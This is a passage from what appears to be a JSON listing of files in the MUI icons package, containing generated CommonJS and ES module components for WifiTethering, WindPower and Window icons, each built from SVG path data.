1.29.3.52.98.66 1.46.31C20.4 19.22 22 16.3 22 13c0-5.91-5.13-10.62-11.17-9.93\"\n}), 'WifiTetheringRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiTetheringSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 11c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m6 2c0-3.31-2.69-6-6-6s-6 2.69-6 6c0 2.22 1.21 4.15 3 5.19l1-1.74c-1.19-.7-2-1.97-2-3.45 0-2.21 1.79-4 4-4s4 1.79 4 4c0 1.48-.81 2.75-2 3.45l1 1.74c1.79-1.04 3-2.97 3-5.19M12 3C6.48 3 2 7.48 2 13c0 3.7 2.01 6.92 4.99 8.65l1-1.73C5.61 18.53 4 15.96 4 13c0-4.42 3.58-8 8-8s8 3.58 8 8c0 2.96-1.61 5.53-4 6.92l1 1.73c2.99-1.73 5-4.95 5-8.65 0-5.52-4.48-10-10-10\"\n}), 'WifiTetheringSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiTetheringSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 11c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m6 2c0-3.31-2.69-6-6-6s-6 2.69-6 6c0 2.22 1.21 4.15 3 5.19l1-1.74c-1.19-.7-2-1.97-2-3.45 0-2.21 1.79-4 4-4s4 1.79 4 4c0 1.48-.81 2.75-2 3.45l1 1.74c1.79-1.04 3-2.97 3-5.19M12 3C6.48 3 2 7.48 2 13c0 3.7 2.01 6.92 4.99 8.65l1-1.73C5.61 18.53 4 15.96 4 13c0-4.42 3.58-8 8-8s8 3.58 8 8c0 2.96-1.61 5.53-4 6.92l1 1.73c2.99-1.73 5-4.95 5-8.65 0-5.52-4.48-10-10-10\"\n}), 'WifiTetheringSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiTetheringTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 11c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m6 2c0-3.31-2.69-6-6-6s-6 2.69-6 6c0 2.22 1.21 4.15 3 5.19l1-1.74c-1.19-.7-2-1.97-2-3.45 0-2.21 1.79-4 4-4s4 1.79 4 4c0 1.48-.81 2.75-2 3.45l1 1.74c1.79-1.04 3-2.97 3-5.19M12 3C6.48 3 2 7.48 2 13c0 3.7 2.01 6.92 4.99 8.65l1-1.73C5.61 18.53 4 15.96 4 13c0-4.42 3.58-8 8-8s8 3.58 8 8c0 2.96-1.61 5.53-4 6.92l1 1.73c2.99-1.73 5-4.95 5-8.65 0-5.52-4.48-10-10-10\"\n}), 'WifiTetheringTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiTetheringTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 11c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m6 2c0-3.31-2.69-6-6-6s-6 2.69-6 6c0 2.22 1.21 4.15 3 5.19l1-1.74c-1.19-.7-2-1.97-2-3.45 0-2.21 1.79-4 4-4s4 1.79 4 4c0 1.48-.81 2.75-2 3.45l1 1.74c1.79-1.04 3-2.97 3-5.19M12 3C6.48 3 2 7.48 2 13c0 3.7 2.01 6.92 4.99 8.65l1-1.73C5.61 18.53 4 15.96 4 13c0-4.42 3.58-8 8-8s8 3.58 8 8c0 2.96-1.61 5.53-4 6.92l1 1.73c2.99-1.73 5-4.95 5-8.65 0-5.52-4.48-10-10-10\"\n}), 'WifiTetheringTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m1 9 2 2c4.97-4.97 13.03-4.97 18 0l2-2C16.93 2.93 7.08 2.93 1 9m8 8 3 3 3-3c-1.65-1.66-4.34-1.66-6 0m-4-4 2 2c2.76-2.76 7.24-2.76 10 0l2-2C15.14 9.14 8.87 9.14 5 13\"\n}), 'WifiTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m1 9 2 2c4.97-4.97 13.03-4.97 18 0l2-2C16.93 2.93 7.08 2.93 1 9m8 8 3 3 3-3c-1.65-1.66-4.34-1.66-6 0m-4-4 2 2c2.76-2.76 7.24-2.76 10 0l2-2C15.14 9.14 8.87 9.14 5 13\"\n}), 'WifiTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WindPower.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 3h6v2H4zM1 7h5v2H1zm2 12h5v2H3zm10.73-8.39c.75.23 1.3.78 1.57 1.46l4.27-7.11c.65-1.08.3-2.48-.78-3.13-.87-.52-1.99-.41-2.73.29l-3.43 3.21c-.4.37-.63.9-.63 1.45v3.93c.36-.15.98-.33 1.73-.1m-3.12 1.66c.16-.52.48-.96.89-1.27H3.28C2.02 11 1 12.02 1 13.28c0 1.02.67 1.91 1.65 2.19l4.51 1.29c.53.15 1.1.08 1.58-.21l2.69-1.61c-.77-.62-1.13-1.67-.82-2.67m11.6 6.34-2.28-4.1c-.27-.48-.73-.83-1.26-.97l-3.18-.8c.03.32 0 .66-.1.99-.32 1.06-1.28 1.77-2.39 1.77-.61 0-.99-.22-1-.22V21c-1.1 0-2 .9-2 2h6c0-1.1-.9-2-2-2v-4.28l4.61 4.61c.89.89 2.33.89 3.22 0 .72-.72.88-1.83.38-2.72\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.56 14.43c.79.24 1.63-.2 1.87-1 .24-.79-.2-1.63-1-1.87-.79-.24-1.63.2-1.87 1-.24.79.21 1.63 1 1.87\"\n}, \"1\")], 'WindPower');"
  },
  {
    "path": "packages/mui-icons-material/lib/WindPower.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 3h6v2H4zM1 7h5v2H1zm2 12h5v2H3zm10.73-8.39c.75.23 1.3.78 1.57 1.46l4.27-7.11c.65-1.08.3-2.48-.78-3.13-.87-.52-1.99-.41-2.73.29l-3.43 3.21c-.4.37-.63.9-.63 1.45v3.93c.36-.15.98-.33 1.73-.1m-3.12 1.66c.16-.52.48-.96.89-1.27H3.28C2.02 11 1 12.02 1 13.28c0 1.02.67 1.91 1.65 2.19l4.51 1.29c.53.15 1.1.08 1.58-.21l2.69-1.61c-.77-.62-1.13-1.67-.82-2.67m11.6 6.34-2.28-4.1c-.27-.48-.73-.83-1.26-.97l-3.18-.8c.03.32 0 .66-.1.99-.32 1.06-1.28 1.77-2.39 1.77-.61 0-.99-.22-1-.22V21c-1.1 0-2 .9-2 2h6c0-1.1-.9-2-2-2v-4.28l4.61 4.61c.89.89 2.33.89 3.22 0 .72-.72.88-1.83.38-2.72\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.56 14.43c.79.24 1.63-.2 1.87-1 .24-.79-.2-1.63-1-1.87-.79-.24-1.63.2-1.87 1-.24.79.21 1.63 1 1.87\"\n}, \"1\")], 'WindPower');"
  },
  {
    "path": "packages/mui-icons-material/lib/WindPowerOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 3h6v2H4zM1 7h5v2H1zm2 12h5v2H3z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m22.21 18.61-2.28-4.1c-.27-.48-.73-.83-1.26-.97l-2.69-.67c-.02-.47-.14-.92-.37-1.33l3.96-6.59c.65-1.08.3-2.48-.78-3.13-.36-.22-.77-.32-1.17-.32-.56 0-1.12.21-1.56.62l-3.43 3.21c-.4.37-.63.9-.63 1.45v3.4c-.47.17-.89.45-1.23.82H3.28C2.02 11 1 12.02 1 13.28c0 1.02.67 1.91 1.65 2.19l4.51 1.29c.18.05.37.08.55.08.36 0 .72-.1 1.03-.29l2.24-1.34c.29.26.63.47 1.02.61V21c-1.1 0-2 .9-2 2h6c0-1.1-.9-2-2-2v-4.28l4.61 4.61c.45.45 1.03.67 1.61.67s1.17-.22 1.61-.67c.72-.72.88-1.83.38-2.72M7.72 14.84 3.2 13.55c-.12-.03-.2-.15-.2-.27 0-.15.13-.28.28-.28h6.73c0 .15.01.3.03.44zM13 14c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m1-3.86V6.78l3.43-3.21c.05-.05.19-.12.34-.04.13.08.18.25.1.38l-3.74 6.24zm6.42 9.78c-.05.05-.24.16-.4 0l-4.85-4.85c.08-.09.16-.18.24-.28l2.78.69 2.28 4.1c.06.11.04.25-.05.34\"\n}, \"1\")], 'WindPowerOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WindPowerOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 3h6v2H4zM1 7h5v2H1zm2 12h5v2H3z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m22.21 18.61-2.28-4.1c-.27-.48-.73-.83-1.26-.97l-2.69-.67c-.02-.47-.14-.92-.37-1.33l3.96-6.59c.65-1.08.3-2.48-.78-3.13-.36-.22-.77-.32-1.17-.32-.56 0-1.12.21-1.56.62l-3.43 3.21c-.4.37-.63.9-.63 1.45v3.4c-.47.17-.89.45-1.23.82H3.28C2.02 11 1 12.02 1 13.28c0 1.02.67 1.91 1.65 2.19l4.51 1.29c.18.05.37.08.55.08.36 0 .72-.1 1.03-.29l2.24-1.34c.29.26.63.47 1.02.61V21c-1.1 0-2 .9-2 2h6c0-1.1-.9-2-2-2v-4.28l4.61 4.61c.45.45 1.03.67 1.61.67s1.17-.22 1.61-.67c.72-.72.88-1.83.38-2.72M7.72 14.84 3.2 13.55c-.12-.03-.2-.15-.2-.27 0-.15.13-.28.28-.28h6.73c0 .15.01.3.03.44zM13 14c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m1-3.86V6.78l3.43-3.21c.05-.05.19-.12.34-.04.13.08.18.25.1.38l-3.74 6.24zm6.42 9.78c-.05.05-.24.16-.4 0l-4.85-4.85c.08-.09.16-.18.24-.28l2.78.69 2.28 4.1c.06.11.04.25-.05.34\"\n}, \"1\")], 'WindPowerOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WindPowerRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 3H5c-.55 0-1 .45-1 1s.45 1 1 1h4c.55 0 1-.45 1-1s-.45-1-1-1M5 7H2c-.55 0-1 .45-1 1s.45 1 1 1h3c.55 0 1-.45 1-1s-.45-1-1-1M4 21h3c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1m9.73-10.39c.75.23 1.3.78 1.57 1.46l4.27-7.11c.65-1.08.3-2.48-.78-3.13-.87-.52-1.99-.41-2.73.29l-3.43 3.21c-.4.37-.63.9-.63 1.45v3.93c.36-.15.98-.33 1.73-.1m-3.12 1.66c.16-.52.48-.96.89-1.27H3.28C2.02 11 1 12.02 1 13.28c0 1.02.67 1.91 1.65 2.19l4.51 1.29c.53.15 1.1.08 1.58-.21l2.69-1.61c-.77-.62-1.13-1.67-.82-2.67m11.6 6.34-2.28-4.1c-.27-.48-.73-.83-1.26-.97l-3.18-.8c.03.32 0 .66-.1.99-.32 1.06-1.28 1.77-2.39 1.77-.61 0-.99-.22-1-.22V21c-1.1 0-2 .9-2 2h6c0-1.1-.9-2-2-2v-4.28l4.61 4.61c.89.89 2.33.89 3.22 0 .72-.72.88-1.83.38-2.72\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.56 14.43c.79.24 1.63-.2 1.87-1 .24-.79-.2-1.63-1-1.87-.79-.24-1.63.2-1.87 1-.24.79.21 1.63 1 1.87\"\n}, \"1\")], 'WindPowerRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WindPowerRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 3H5c-.55 0-1 .45-1 1s.45 1 1 1h4c.55 0 1-.45 1-1s-.45-1-1-1M5 7H2c-.55 0-1 .45-1 1s.45 1 1 1h3c.55 0 1-.45 1-1s-.45-1-1-1M4 21h3c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1m9.73-10.39c.75.23 1.3.78 1.57 1.46l4.27-7.11c.65-1.08.3-2.48-.78-3.13-.87-.52-1.99-.41-2.73.29l-3.43 3.21c-.4.37-.63.9-.63 1.45v3.93c.36-.15.98-.33 1.73-.1m-3.12 1.66c.16-.52.48-.96.89-1.27H3.28C2.02 11 1 12.02 1 13.28c0 1.02.67 1.91 1.65 2.19l4.51 1.29c.53.15 1.1.08 1.58-.21l2.69-1.61c-.77-.62-1.13-1.67-.82-2.67m11.6 6.34-2.28-4.1c-.27-.48-.73-.83-1.26-.97l-3.18-.8c.03.32 0 .66-.1.99-.32 1.06-1.28 1.77-2.39 1.77-.61 0-.99-.22-1-.22V21c-1.1 0-2 .9-2 2h6c0-1.1-.9-2-2-2v-4.28l4.61 4.61c.89.89 2.33.89 3.22 0 .72-.72.88-1.83.38-2.72\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.56 14.43c.79.24 1.63-.2 1.87-1 .24-.79-.2-1.63-1-1.87-.79-.24-1.63.2-1.87 1-.24.79.21 1.63 1 1.87\"\n}, \"1\")], 'WindPowerRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WindPowerSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 3h6v2H4zM1 7h5v2H1zm2 12h5v2H3zm12.32-6.91 5.42-9.04L17.32 1 12 5.97v4.74c.31-.13.64-.21 1-.21 1.06 0 1.96.66 2.32 1.59M10.5 13c0-.82.4-1.54 1.01-2H1v4l7 2 3.44-2.06c-.57-.46-.94-1.15-.94-1.94m9.67 10L23 20.17l-3.54-6.36-3.98-1c0 .06.02.12.02.19 0 1.38-1.12 2.5-2.5 2.5-.36 0-.69-.08-1-.21V21c-1.1 0-2 .9-2 2h6c0-1.1-.9-2-2-2v-4.17z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"13\",\n  cy: \"13\",\n  r: \"1.5\"\n}, \"1\")], 'WindPowerSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WindPowerSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 3h6v2H4zM1 7h5v2H1zm2 12h5v2H3zm12.32-6.91 5.42-9.04L17.32 1 12 5.97v4.74c.31-.13.64-.21 1-.21 1.06 0 1.96.66 2.32 1.59M10.5 13c0-.82.4-1.54 1.01-2H1v4l7 2 3.44-2.06c-.57-.46-.94-1.15-.94-1.94m9.67 10L23 20.17l-3.54-6.36-3.98-1c0 .06.02.12.02.19 0 1.38-1.12 2.5-2.5 2.5-.36 0-.69-.08-1-.21V21c-1.1 0-2 .9-2 2h6c0-1.1-.9-2-2-2v-4.17z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"13\",\n  cy: \"13\",\n  r: \"1.5\"\n}, \"1\")], 'WindPowerSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WindPowerTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"13\",\n  cy: \"13\",\n  r: \"1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3.28 13c-.15 0-.28.13-.28.28 0 .12.08.24.2.27l4.51 1.29 2.33-1.4c-.02-.15-.03-.29-.03-.44zm14.48-9.46c-.15-.09-.29-.01-.34.04L14 6.78v3.36l.11.03 3.74-6.24c.09-.14.04-.31-.09-.39m.43 11.94-2.78-.69c-.07.1-.15.19-.24.28l4.85 4.85c.16.16.35.05.4 0 .09-.09.11-.23.05-.33z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 3h6v2H4zM1 7h5v2H1zm2 12h5v2H3z\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m22.21 18.61-2.28-4.1c-.27-.48-.73-.83-1.26-.97l-2.69-.67c-.02-.47-.14-.92-.37-1.33l3.96-6.59c.65-1.08.3-2.48-.78-3.13-.36-.22-.77-.32-1.17-.32-.56 0-1.12.21-1.56.62l-3.43 3.21c-.4.37-.63.9-.63 1.45v3.4c-.47.17-.89.45-1.23.82H3.28C2.02 11 1 12.02 1 13.28c0 1.02.67 1.91 1.65 2.19l4.51 1.29c.18.05.37.08.55.08.36 0 .72-.1 1.03-.29l2.24-1.34c.29.26.63.47 1.02.61V21c-1.1 0-2 .9-2 2h6c0-1.1-.9-2-2-2v-4.28l4.61 4.61c.45.45 1.03.67 1.61.67s1.17-.22 1.61-.67c.72-.72.88-1.83.38-2.72M7.72 14.84 3.2 13.55c-.12-.03-.2-.15-.2-.27 0-.15.13-.28.28-.28h6.73c0 .15.01.3.03.44zM13 14c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m1-3.86V6.78l3.43-3.21c.05-.05.19-.12.34-.04.13.08.18.25.1.38l-3.74 6.24zm6.42 9.78c-.05.05-.24.16-.4 0l-4.85-4.85c.08-.09.16-.18.24-.28l2.78.69 2.28 4.1c.06.11.04.25-.05.34\"\n}, \"3\")], 'WindPowerTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WindPowerTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"13\",\n  cy: \"13\",\n  r: \"1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M3.28 13c-.15 0-.28.13-.28.28 0 .12.08.24.2.27l4.51 1.29 2.33-1.4c-.02-.15-.03-.29-.03-.44zm14.48-9.46c-.15-.09-.29-.01-.34.04L14 6.78v3.36l.11.03 3.74-6.24c.09-.14.04-.31-.09-.39m.43 11.94-2.78-.69c-.07.1-.15.19-.24.28l4.85 4.85c.16.16.35.05.4 0 .09-.09.11-.23.05-.33z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 3h6v2H4zM1 7h5v2H1zm2 12h5v2H3z\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m22.21 18.61-2.28-4.1c-.27-.48-.73-.83-1.26-.97l-2.69-.67c-.02-.47-.14-.92-.37-1.33l3.96-6.59c.65-1.08.3-2.48-.78-3.13-.36-.22-.77-.32-1.17-.32-.56 0-1.12.21-1.56.62l-3.43 3.21c-.4.37-.63.9-.63 1.45v3.4c-.47.17-.89.45-1.23.82H3.28C2.02 11 1 12.02 1 13.28c0 1.02.67 1.91 1.65 2.19l4.51 1.29c.18.05.37.08.55.08.36 0 .72-.1 1.03-.29l2.24-1.34c.29.26.63.47 1.02.61V21c-1.1 0-2 .9-2 2h6c0-1.1-.9-2-2-2v-4.28l4.61 4.61c.45.45 1.03.67 1.61.67s1.17-.22 1.61-.67c.72-.72.88-1.83.38-2.72M7.72 14.84 3.2 13.55c-.12-.03-.2-.15-.2-.27 0-.15.13-.28.28-.28h6.73c0 .15.01.3.03.44zM13 14c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m1-3.86V6.78l3.43-3.21c.05-.05.19-.12.34-.04.13.08.18.25.1.38l-3.74 6.24zm6.42 9.78c-.05.05-.24.16-.4 0l-4.85-4.85c.08-.09.16-.18.24-.28l2.78.69 2.28 4.1c.06.11.04.25-.05.34\"\n}, \"3\")], 'WindPowerTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Window.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 11V3H5c-1.1 0-2 .9-2 2v6zm2 0h8V5c0-1.1-.9-2-2-2h-6zm-2 2H3v6c0 1.1.9 2 2 2h6zm2 0v8h6c1.1 0 2-.9 2-2v-6z\"\n}), 'Window');"
  },
  {
    "path": "packages/mui-icons-material/lib/Window.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 11V3H5c-1.1 0-2 .9-2 2v6zm2 0h8V5c0-1.1-.9-2-2-2h-6zm-2 2H3v6c0 1.1.9 2 2 2h6zm2 0v8h6c1.1 0 2-.9 2-2v-6z\"\n}), 'Window');"
  },
  {
    "path": "packages/mui-icons-material/lib/WindowOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 8h-6V5h6zm-8-6v6H5V5zm-6 8h6v6H5zm8 6v-6h6v6z\"\n}), 'WindowOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WindowOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 8h-6V5h6zm-8-6v6H5V5zm-6 8h6v6H5zm8 6v-6h6v6z\"\n}), 'WindowOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WindowRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 11V3H5c-1.1 0-2 .9-2 2v6zm2 0h8V5c0-1.1-.9-2-2-2h-6zm-2 2H3v6c0 1.1.9 2 2 2h6zm2 0v8h6c1.1 0 2-.9 2-2v-6z\"\n}), 'WindowRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WindowRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 11V3H5c-1.1 0-2 .9-2 2v6zm2 0h8V5c0-1.1-.9-2-2-2h-6zm-2 2H3v6c0 1.1.9 2 2 2h6zm2 0v8h6c1.1 0 2-.9 2-2v-6z\"\n}), 'WindowRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WindowSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 3h8v8H3zm10 0h8v8h-8zM3 13h8v8H3zm10 0h8v8h-8z\"\n}), 'WindowSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WindowSharp.mjs",
